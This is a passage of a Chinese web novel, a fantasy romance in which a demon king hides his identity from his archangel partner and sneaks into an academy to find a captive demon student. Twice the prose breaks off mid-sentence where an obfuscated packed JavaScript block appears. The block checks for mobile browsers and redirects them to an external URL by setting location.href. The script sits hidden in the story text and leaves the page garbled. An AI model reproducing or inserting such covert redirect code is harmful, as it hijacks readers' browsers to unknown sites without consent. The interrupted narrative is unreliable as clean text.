“撒尔?他刚刚已经自己走了,你没在路上遇到他吗。”巴奈显然不想再提这个大麻烦,随便嘟囔了一句后换个话题,眸子中闪过狡黠的笑意,凑上前来打趣道:“可怜的小阿瑞斯,塞西竟然让你一个人过来,真是太过分了。” 被“事精”撒尔折磨了一整个夜晚的巴奈,现在对于某名为了满足自己的私欲,就将麻烦丢给自己的天使长非常不满,趁着他不在,故意在天使长的小伴侣面前说他的坏话:“听说这种连‘婆媳关系’都处不好的男人,都非常小心眼,阿瑞斯,你可要小心他……” 就在巴奈夸大其词地编排上司时,另外一半的门终于被风吹开了。 金色波浪长发,抱着手臂似笑非笑地站在阿瑞斯身后的男人出现在眼前。 “小心眼?”天使长大人声音温和,却令人背后一凉:“巴奈医生在说我吗?” 巴奈:“……” —— 从宠物诊所离开后,阿瑞斯都在想,巴奈口中所说的让撒尔“看了一眼就脸色一变跟着跑出去”的人到底是谁。 魔王敢肯定,从撒尔进入深渊起到现在,这是第一次来到人界。 虽然他还没有被迫进入深渊前的事情,阿瑞斯并不清楚,但撒尔才到诺曼堡时,连钱币是什么都不知道,怎么看都不像是对这个地方很熟悉的样子。 那么这样一个心比天高又什么都不懂的“外乡人”,究竟是看到了什么,才会让他变了脸色,甚至急匆匆地追出去。 也许……是和他受损严重的领域有关。 “诶诶,宝贝,你快撞到树上了。”亚德西莫好笑地拉住皱着一张脸冥思苦想,走着走着就要撞到路边的大树的伴侣,轻声哄他:“别想了,他既然来诺曼堡找你了,就不会突然离开。” 天使长是真的很讨厌这名不管从哪个角度而言,都非常不正经且不像个好人的“舅舅”,但毕竟是伴侣的亲人,亚德西莫并不想让阿瑞斯因为自己和撒尔的敌对而伤心为难。 “或许等他晚上回来了,就会自己告诉你发生了什么。”天使长揉了揉伴侣的黑发,安慰他:“别想了亲爱的,你的皱眉真让我心疼。” 塞西的皮肤温温热热的,让魔王陛下无意识地就在他的手心下蹭了蹭,反应过来后,脸上就是一烫。 “知道啦。”尊贵强大的魔王,红着脸暂时放下了自己的傲娇,伸出手来主动轻轻地抱住了自己的伴侣,语气不由自主地变得柔和:“谢谢你,塞西。” 距离霍尔莫德斯的第一堂早课还有十五分钟,在天使长因为这个离别的温柔拥抱而喉结滚动着倾身过来时,阿瑞斯松开了他。 魔王挑起眉眼打趣:“塞西快要迟到了。” 已经半闭着蔚蓝色的眸子,准备和伴侣在街头接吻,然后被无情推开的天使长:“……坏心眼的阿瑞斯。” “快去吧快去吧,”阿瑞斯咳嗽一声,紫罗兰色的眸子避开亚德西莫的视线,努力做成正经的样子:“嗯,我也该去画室工作了。” 天使长大人有点惊讶地抬眸:“维拉给画室开门了吗?” 作为画室的老板,维拉好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14587153|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点都不关心画室的生意,平常摆烂佛系就算了,最近更是已经神出鬼没到了查无此人的地步。 阿瑞斯已经待业在家好一段时间了,一直怀疑维拉是不是欠了人家钱,所以关了画室去躲债了。 但是如果一直不工作的话,就找不到合适的机会光明正大地出门。 因此魔王心虚地点了点头,红润的嘴唇轻轻抿着:“他给了我钥匙。” 亚德西莫也没有多想,毕竟哪怕是大天使长,也很难想象到寻找了多时的魔王本尊,竟然是与自己同床共枕多年的,看似单纯无害的伴侣。 更想不到传闻中可怖凶恶的魔王,每天都在为不听话的尾巴以及即将出现的失业危机所苦恼。 “好吧,那我晚点过来接你。”金发天使亲昵地贴了一下阿瑞斯的侧脸,替他整理好被风吹歪了一点的领口。 蔚蓝色的眸子里面倒映着年轻魔王美丽又青涩的面孔。 “然后送给阿瑞斯一点小惊喜。”亚德西莫俏皮地眨眨眼。 魔王当然会喜欢惊喜,闻言,漂亮的瞳孔亮了亮,却依旧矜贵地仰着下巴,不甘示弱又满是欢喜地开口:“我也会有惊喜送给塞西。” 天使长心底一软,最后还是飞快地向自己可爱的伴侣讨了一个离别吻,金色长发在俯首时柔顺地垂在胸前。 “那么待会儿见,宝贝。”最后在红着耳朵的阿瑞斯的注视下,他含着笑意这样说。 —— 但“待会儿”这个词是不是也太快了点。 半个小时后,鬼鬼祟祟地翻墙摸进了霍尔莫德斯,正小心翼翼地趴到了屋梁顶上的魔王陛下,看着底下正在专心翻书的塞西老师,忍不住在心里偷偷吐槽道。 阿瑞斯是来找昨天被塞西的同事带走的那名魔族学生的。 虽然伴侣和巴奈医生都坚称他只是喜欢角色扮演的普通学生,但作为魔王,阿瑞斯不可能会认错自己的同族。 他看上去是一只来人界学习生活的未成年魔,会被抓走,多半是犯下了不被人类律法允许的错误。 而作为王,阿瑞斯有义务查看和判断子民的真正情况。 然后他就跟随着昨晚特意留下的印记,摸进了霍尔莫德斯的某一个房间。 还没等魔王陛下开始向深处探索,就听到了开门的声音。 阿瑞斯被吓得瞬间变为原形,连忙趴到了房梁角落里藏好,和黑漆漆的环境融为一体。 再接着,他就看到才半个小时不见的伴侣,脚步平缓面无表情地踏进了房间。 这个时候,塞西不是应该在上早课吗。 阿瑞斯有点迷茫,但又不敢发出动静,只能乖乖地趴在房梁上装死。 顺便眨巴着一双紫色的眸子,盯着底下的伴侣办公。 塞西翻看着的书,是魔王最不喜欢的那种厚重又小字,严肃正经的书籍。 他垂着眼,用笔在某一页上留下了什么字符,白皙修长的手指又一下没一下地点在桌面上。 阿瑞斯好奇地想要看清楚他写了什么,小小的犄角才刚刚尝试着探出来一点,就听到伴侣轻轻地呢喃了一句话: “魔王,你到底是谁呢……” 阿瑞斯:“!!!” 25. 阿瑞斯,可爱。 阿瑞斯被伴侣的这句喃喃自语吓得心脏猛缩,爪子一滑,差点将脆弱的房梁抓断,自己也差点掉下来。 慌慌张张地调整好身形,确保不会出现“天降小蝙蝠”之类的丢脸事情后,才又试探着往下看。 塞西好像只是随口说了一句无关紧要的话一样,说完后就放下笔,合上了那本厚重的书籍,表情没有太大的起伏和变化,好像也完全没有要继续思考关于“魔王”的话题的想法。 他抬起头来,纤长睫毛下的眸子甚至不知道是想到了什么,慢慢染上了一点柔和的笑意来,然后慵懒地站起身来离开座位。 阿瑞斯被塞西刚刚那句突然出口的话吓得不轻,一边紧紧地偷偷关注着伴侣的一举一动,一边在心里面胡思乱想。 青年有一头金色的长发,每一根发丝都柔软顺滑,像是窗外倾斜下来的阳光,圣洁而温暖。 塞西像是看到了什么感兴趣的事物,蔚蓝色的眸子抬起来,沿着座椅下方的阶梯,优雅地向着房间中的某个角落走去。 这个位置…… 正是某只被吓得用翅翼裹住脑袋的魔王陛下所在的方位! 完蛋了完蛋了完蛋了。 阿瑞斯缩成一小团,努力地使自己看起来更像是房梁上的普通阴影一点,心中懊恼地不断哀嚎着。 早知道会这样,就应该等到晚上才偷溜出来看的,实在是太大意了。 在魔王紧紧地闭上了眼睛咬住牙,试图以此方式来自我逃避时,那道令人胆战心惊的脚步声却蓦地停了下来。 欸? 阿瑞斯悄悄地睁开了一只眼,小心翼翼地往下看去,却发现伴侣走了一半后又转了个弯,向着另一个方向走去。 知道塞西并不是发现自己的存在后,魔王才如释重负地放下了裹在脑袋上的小翅翼和发着抖的尾巴尖,继续注视着地面的伴侣。 沿着他的视线看过去,就能发现在墙壁上挂着的一串紫色水晶小吊坠,晶莹剔透的,每一颗都雕刻成了花骨朵的摸样。 金发教授望着它,眼底的笑越来越浓郁,骨节分明的手指轻轻撩了撩吊坠的下端,它便随着塞西的动作而轻微晃动起来,紫色水晶碰撞在一起,发出清脆的响声。 塞西轻声呼唤道:“阿瑞斯。” 正藏在暗处,专注又谨慎地偷偷盯着伴侣的阿瑞斯本魔:“!” 好不容易平缓下来的心跳又一次剧烈跳动起来,魔王陛下几乎不敢呼吸了,生怕塞西教授忽然就转过身来给自己一个“惊喜”。 但下一刻,水晶轻轻碰撞的声音再次响了起来。 伴侣又温柔地触碰了一下吊坠,垂眸低低笑了一声,喃喃道:“可爱。” 阿瑞斯。 可爱。 魔王的心脏还是跳得很快,不仅如此,浑身的绒毛都颤巍巍地软了下来,从内而外地散发着热意,连尾巴都羞耻得蜷缩在了肚皮地下。 太过分了,可恶的塞西。 可怜的魔王陛下被吓得心情起起伏伏,最后又被迫被人类伴侣喂了满口的蜜糖,整只魔都又羞又恼地发起了烫。 并且不讲道理地决定回家后要给可恶的塞西老师,一点来自可怕魔王的教训。 塞西在那串吊坠前站了一会儿,蔚蓝色的眸子若有所思地盯着它,阿瑞斯并不明白伴侣的意图,即便这个小首饰的颜色和自己的眸色相似,看那么久也该看够了吧,看个不停还一会儿摸一下是个什么意思。 魔王又担心自己被发现,又实在好奇,小心翼翼地从阴影中探出一点脑袋来,紫色的瞳孔在黑暗中隐隐发着光。 忽然,金发青年的动作微微顿住,然后抬起头精准地向着侧前方的位置看过去。 但那处却只有黑漆漆的,安安静静一片,什么东西也没有。 亚德西莫皱着眉,身体向着那个方向转过去一些。 刚才好像有一点紫色的光闪过去了。 是错觉吗。 天使长大人正想要往前一步,就听到了一阵敲门声,他的注意力下意识地就被发声处吸引过去,懒洋洋地开口:“进来。” 来人是一名穿着春季院服的学生,他小心翼翼地推开门,好像是对这位传说中的“塞西教授”颇有些害怕,小声地说:“塞西老师,院长让你去他办公室一趟。” “嗯,知道了。”古板的惩戒天使估计是想要喊他去说那份并不认真的检讨报告,亚德西莫倒是没有意外,弯着眉答应下来:“麻烦你了。” 那学生连忙局促地摆手:“不麻烦不麻烦!” “那我先走了,塞西老师再见!”学生逃也似的离开了,生怕面前这名看似温柔的可怕教授,会抓住他检查这周的作业。 亚德西莫将那串紫色水晶吊坠攥在手心,连同着桌上那本厚厚的书籍一起仔细收好,优雅随意,像是已经忘记了刚才的小插曲,马上就要出门的模样。 刚刚走到门口却停住脚步,白皙的手指毫无预兆地按下了墙上的开关,明亮的灯光便从天花板最上方投射下来,将整个空间中的房梁照亮。 每一处的阴影和黑暗都在一瞬间被驱除,将所有隐秘的角落暴露在天使长的面前。 但除了蜘蛛网和灰尘之外别无他物,每个角落都好无异常。 亚德西莫为自己的判断失误而轻轻“啧”了一声,蔚蓝色的眸子审视地划过一遍房梁,却也没有再停留,抬腿打开门走了出去。 平稳的脚步声已经渐渐远去,房间中的灯光也重新暗了下来。 在拉上了窗帘后略显灰暗的光线下,一片安静中,两个小小的圆润的,隐隐布满着神秘暗纹的犄角,从天使长没有拿走的茶杯里面偷偷地探出“水面”。 紧接着,是一对尖尖的长着绒毛的耳朵,它们沾着茶水,警惕又可怜地在空气中晃动着。 确认塞西的确已经完全远离,并且周围没有任何“人类”靠近后,魔王陛下终于如释重负地吐出一口气。 然后茶杯中就冒出了一连串咕噜咕噜声的小泡泡。 被迫喝进去一大口苦涩茶水的阿瑞斯:“……” 可恶可恶!都怪塞西! 重新化为人形,并且烘干了身上的水分后的魔王陛下,终于不显得那么狼狈,但睫毛和发尾依旧是湿漉漉的,能看得出是经历了一场“水灾”。 阿瑞斯的眼尾和鼻尖还有点红,是刚才在茶杯里被呛到水导致的,显得有点可怜,但又在魔王特有的贵气上面,增添了几分魅意。 魔王陛下并不知道自己现在的样子,鼻子耸动两下后,就随着那道属于同族的气息,小心翼翼地向着房间深处走去。 果然走到某个墙角轻轻一推,墙壁就往两边分开,露出一个新的空间。 看来那名犯错的学生,就是被关在了这里面。 但霍尔莫德斯怎么会有资格亲自关押监禁学生呢,按理来讲就算是魔族,也该是由骑士殿的人来处理。 阿瑞斯心中有各种想法涌动着,也更加谨慎起来,垫着脚尖小心翼翼地往新出现的房间里面走去。 房间很大,但出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14587154|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎意料的,里面很安静且没有人在,放着各种各样的的杂物,部分整齐部分杂乱,像是有不同性格特征的人时常会来的地方,布满了多种生活痕迹。 阿瑞斯放下一副打开了的扑克牌,又弯腰捡起了一顶卡其色的草帽,眼中透着迷茫。 不知道为什么,总感觉它长得很眼熟…… 但还没得等魔王想起这些小物件的来历,就听到一阵呜呜呜还有凳子和地面磨蹭的声音响起来。 阿瑞斯的耳朵动了动,很快便识别到了声音的来源。 在房间右侧摆放着的全身镜后面。 将镜子推开后,果然它的后方就出现了一个被捆绑在了椅子上,还被堵住嘴巴的身影。 是那天那名男扮女装的魔族学生。 他脸上那些奇怪的妆已经被卸掉了,服饰也很正常,甚至精神和魔力状态都十分充盈,除了手脚被捆住以及额头上有个包之外,完全看不出有任何遭受了虐待的痕迹。 见到阿瑞斯出现在面前时,挣扎的动作下顿住,下意识地愣了愣,但是又很快故意做出一种嚣张厌恶的表情来。 阿瑞斯扯掉他嘴里的棉花团,斟酌着正想要问话,却听到这人非常聒噪地大喊起来:“我是不会交代的!高贵的魔族宁死不屈!就算用美人计也没用,你们这些该死的……唔!” 魔王被吓得赶紧又把棉花团给他塞了回去,然后恼怒地低声呵斥:“闭嘴,你先看看我是谁。” 年轻的魔族学生唔唔唔地说不出话来,闻言飞快地瞟了阿瑞斯一眼,脸上一红又赶紧移开视线:“啊呜呜呜啊!” 他用了魔族专用的沟通语言,或许是以为阿瑞斯听不懂,还恶狠狠地带了几句生硬的脏话,转换过来大概就是:“管你***是谁,就算是魔王来了也不管用!” 魔王陛下:“……” 于是,在年轻的学生色厉内茬骂骂咧咧之时,忽然就发现面前的“美人”好像产生了一点让奇怪可怕的气息,迷惑着地抬起头,正好就和一双深邃冰冷,充满了巨大压迫力的紫色竖瞳对视上。 翁的一声响起。 脑子蓦地变得空白一片,无尽的深紫色黑洞好像在一瞬间将自己包围,连呼吸都变得困难,脸上慢慢涌上崇敬癫狂的红色,年轻学生生理性地颤抖起来,望向那双紫色瞳孔:“魔、魔……” 那道让魔想要匍匐在地的声音在脑海中响起:“嘘,告诉我,你做了什么才被关在这儿?” “一名人类,大魔法师……”他臣服着,喃喃回应:“他卖给了我药水……” 阿瑞斯皱起眉,继续问:“什么药水?” 魔族学生脸上浮现出一点痛苦的神色:“是、是不被允许的违禁品……” 说了相当于没说。 魔王陛下有点不耐烦了:“所以到底是……” 他的问话没有来得及说完,面前的魔族学生就突然两眼一翻,直接晕了过去。 ? 是自己控制得太过了吗? 阿瑞斯有点无措,伸出手想要尝试着将他唤醒。 但身后却不知在何时停留了一道新的气息。 以及一道非常熟悉,但又总让人觉得违和的低笑声:“看我抓到了什么?” 阿瑞斯瞳孔收缩,心脏在那道声音响起的同时,剧烈跳动起来。 来人有一双蔚蓝色的眸子和一头金色的长发,明明都是温暖的颜色,但却给人一种阴沉和躁动感。 他刻意做出温柔沉稳的样子来:“一只漂亮的魔?”